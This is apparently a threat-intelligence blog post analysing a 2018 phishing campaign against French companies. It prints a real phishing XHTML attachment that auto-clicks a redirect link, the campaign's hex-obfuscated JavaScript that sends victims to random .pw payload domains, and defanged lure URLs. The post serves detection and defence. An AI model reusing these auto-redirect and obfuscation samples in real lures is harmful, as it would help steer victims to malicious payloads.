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Phishing Campaign targeting French Industry

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We have recently observed an ongoing phishing campaign targeting the French industry. Among these targets are organizations involved in chemical manufacturing, aviation, automotive, banking, industry software providers, and IT service providers. Beginning October 2018, we have seen multiple phishing emails which follow a similar pattern, similar indicators, and obfuscation with quick evolution over the course of the campaign. This post will give a quick look into how the campaign has evolved, what it is about, and how you can detect it.

Phishing emails

The phishing emails usually refer to some document that could either be an attachment or could supposedly be obtained by visiting the link provided. The use of the French language here appears to be native and very convincing.


Phishing Campaign targeting French Industry
Phishing Campaign targeting French Industry

The subject of the email follows the prefix of the attachment name. The attachments could be an HTML or a PDF file usually named as “ document “, “ preuves “, or “ fact ” which can be followed by underscore and 6 numbers. Here are some of the attachment names we have observed:

fact_395788.xht document_773280.xhtml 474362.xhtml 815929.htm document_824250.html 975677.pdf 743558.pdf

Here’s an example content of an XHTML attachment from 15th of November:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<meta content="UTF-8" />
</head>
<body onload='document.getElementById("_y").click();'>
<h1>
<a id="_y" href="https://t[.]co/8hMB9xwq9f?540820">Lien de votre document</a>
</h1>
</body>
</html> Evolution of the campaign

The first observed phishing emails in the beginning of October contained an unobfuscated payload address. For example:

hxxp://piecejointe[.]pro/facture/redirect[.]php hxxp://mail-server-zpqn8wcphgj[.]pw?client=XXXXXX These links were inside HTML/XHTML/HTM attachments or simply as links in the email body. The attachment names used were mostly document_[randomized number].xhtml .

Towards the end of October these payload addresses were further obfuscated by putting them behind redirects. The author has developed a simple javascript to obfuscate a bunch of .pw domains.

var _0xa4d9=["\x75\x71\x76\x6B\x38\x66\x74\x75\x77\x35\x69\x74\x38\x64\x73\x67\x6C\x63\x7A\x2E\x70\x77",
"\x7A\x71\x63\x7A\x66\x6E\x32\x6E\x6E\x6D\x75\x65\x73\x68\x38\x68\x74\x79\x67\x2E\x70\x77",
"\x66\x38\x79\x33\x70\x35\x65\x65\x36\x64\x6C\x71\x72\x37\x39\x36\x33\x35\x7A\x2E\x70\x77",
"\x65\x72\x6B\x79\x67\x74\x79\x63\x6F\x6D\x34\x66\x33\x79\x61\x34\x77\x69\x71\x2E\x70\x77",
"\x65\x70\x72\x72\x39\x71\x79\x32\x39\x30\x65\x62\x65\x70\x6B\x73\x6D\x6B\x62\x2E\x70\x77",
"\x37\x62\x32\x64\x75\x74\x62\x37\x76\x39\x34\x31\x34\x66\x6E\x68\x70\x36\x63\x2E\x70\x77",
"\x64\x69\x6D\x76\x72\x78\x36\x30\x72\x64\x6E\x7A\x36\x63\x68\x6C\x77\x6B\x65\x2E\x70\x77",
"\x78\x6D\x76\x6E\x6C\x67\x6B\x69\x39\x61\x39\x39\x67\x35\x6B\x62\x67\x75\x65\x2E\x70\x77",
"\x62\x72\x75\x62\x32\x66\x77\x64\x39\x30\x64\x38\x6D\x76\x61\x70\x78\x6E\x6C\x2E\x70\x77",
"\x68\x38\x39\x38\x6A\x65\x32\x68\x74\x64\x64\x61\x69\x38\x33\x78\x63\x72\x37\x2E\x70\x77",
"\x6C\x32\x6C\x69\x69\x75\x38\x79\x64\x7A\x6D\x64\x66\x30\x31\x68\x69\x63\x72\x2E\x70\x77",
"\x63\x79\x6B\x36\x6F\x66\x6D\x75\x6E\x6C\x35\x34\x72\x36\x77\x6B\x30\x6B\x74\x2E\x70\x77",
"\x7A\x78\x70\x74\x76\x79\x6F\x64\x6A\x39\x35\x64\x77\x63\x67\x6B\x6C\x62\x77\x2E\x70\x77",
"\x35\x65\x74\x67\x33\x6B\x78\x6D\x69\x78\x67\x6C\x64\x73\x78\x73\x67\x70\x65\x2E\x70\x77",
"\x38\x35\x30\x6F\x6F\x65\x70\x6F\x6C\x73\x69\x71\x34\x6B\x71\x6F\x70\x6D\x65\x2E\x70\x77",
"\x6F\x6D\x63\x36\x75\x32\x6E\x31\x30\x68\x38\x6E\x61\x71\x72\x30\x61\x70\x68\x2E\x70\x77",
"\x63\x30\x7A\x65\x68\x62\x74\x38\x6E\x77\x67\x6F\x63\x35\x63\x6E\x66\x33\x30\x2E\x70\x77",
"\x68\x36\x6A\x70\x64\x6B\x6E\x7A\x76\x79\x63\x61\x36\x6A\x67\x33\x30\x78\x74\x2E\x70\x77",
"\x74\x64\x32\x6E\x62\x7A\x6A\x6D\x67\x6F\x36\x73\x6E\x65\x6E\x6A\x7A\x70\x72\x2E\x70\x77",
"\x6C\x69\x70\x71\x76\x77\x78\x63\x73\x63\x34\x75\x68\x6D\x6A\x36\x74\x6D\x76\x2E\x70\x77",
"\x31\x33\x72\x7A\x61\x75\x30\x69\x64\x39\x79\x76\x37\x71\x78\x37\x76\x6D\x78\x2E\x70\x77",
"\x6B\x64\x33\x37\x68\x62\x6F\x6A\x67\x6F\x65\x76\x6F\x63\x6C\x6F\x7A\x77\x66\x2E\x70\x77",
"\x66\x75\x67\x65\x39\x69\x6F\x63\x74\x6F\x38\x39\x63\x6B\x36\x7A\x62\x30\x76\x2E\x70\x77",
"\x70\x6D\x63\x35\x6B\x71\x6C\x78\x6C\x62\x6C\x78\x30\x65\x67\x74\x63\x37\x32\x2E\x70\x77",
"\x30\x71\x38\x31\x73\x73\x72\x74\x68\x69\x72\x63\x69\x62\x70\x6A\x62\x33\x38\x2E\x70\x77","\x72\x61\x6E\x64\x6F\x6D","\x6C\x65\x6E\x67\x74\x68","\x66\x6C\x6F\x6F\x72","\x68\x74\x74\x70\x3A\x2F\x2F","\x72\x65\x70\x6C\x61\x63\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];
var arr=[_0xa4d9[0],_0xa4d9[1],_0xa4d9[2],_0xa4d9[3],_0xa4d9[4],_0xa4d9[5],_0xa4d9[6],_0xa4d9[7],_0xa4d9[8],_0xa4d9[9],_0xa4d9[10],_0xa4d9[11],_0xa4d9[12],_0xa4d9[13],_0xa4d9[14],_0xa4d9[15],_0xa4d9[16],_0xa4d9[17],_0xa4d9[18],_0xa4d9[19],_0xa4d9[20],_0xa4d9[21],_0xa4d9[22],_0xa4d9[23],_0xa4d9[24]];
var redir=arr[Math[_0xa4d9[27]](Math[_0xa4d9[25]]()* arr[_0xa4d9[26]])];
window[_0xa4d9[30]][_0xa4d9[29]](_0xa4d9[28]+ redir) This Javascript code, which was part of the attachment, deobfuscated an array of [random].pw domains that redirected the users to the payload domain. In this particular campaign, the payload domain has changed to hxxp://email-document-joint[.]pro/redir/. However, it appears that the use of Javascript code inside attachments was not a huge success as only some days later, the Javascript code for domain deobfuscation and redirection has been moved behind pste.eu , a Pastebin-like service for HTML code. So then the phishing emails thereafter contained links to pste.eu such as hxxps[://]pste[.]eu/p/yGqK[.]html.

In the next iteration of evolution during November, we observed few different styles. Some emails contained links to subdomains of random .pw or .site domains such as:

hxxp://6NZX7M203U[.]p95jadah5you6bf1dpgm[.]pw hxxp://J8EOPRBA7E[.]jeu0rgf5apd5337[.]site.

At this point .PDF files were also seen in the phishing emails as attachments. Those PDFs contained similar links to a random subdomain in .site or .website domains.

Few days later at 15th of November, the attackers continued to add redirections in between the pste.eu URLs by using Twitter shortened URLs. They used a Twitter account to post 298 pste.eu URLs and then included the t.co equivalents into their phishing emails.The Twitter account appears to be some sort of advertising account with very little activity since its creation in 2012. Most of the tweets and retweets are related to Twitter advertisement campaigns or products/lotteries etc.


Phishing Campaign targeting French Industry

The pste.eu links in Twitter


Phishing Campaign targeting French Industry

Example of the URL redirections

The latest links used in the campaign are random .icu domains leading to 302 redirection chain. The delivery method remained as XHTML/HTML attachments or links in the emails. The campaign appears to be evolving fairly quickly and the attackers are active in generating new domains and new ways of redirection and obfuscation.At the time of writing, it seems the payload

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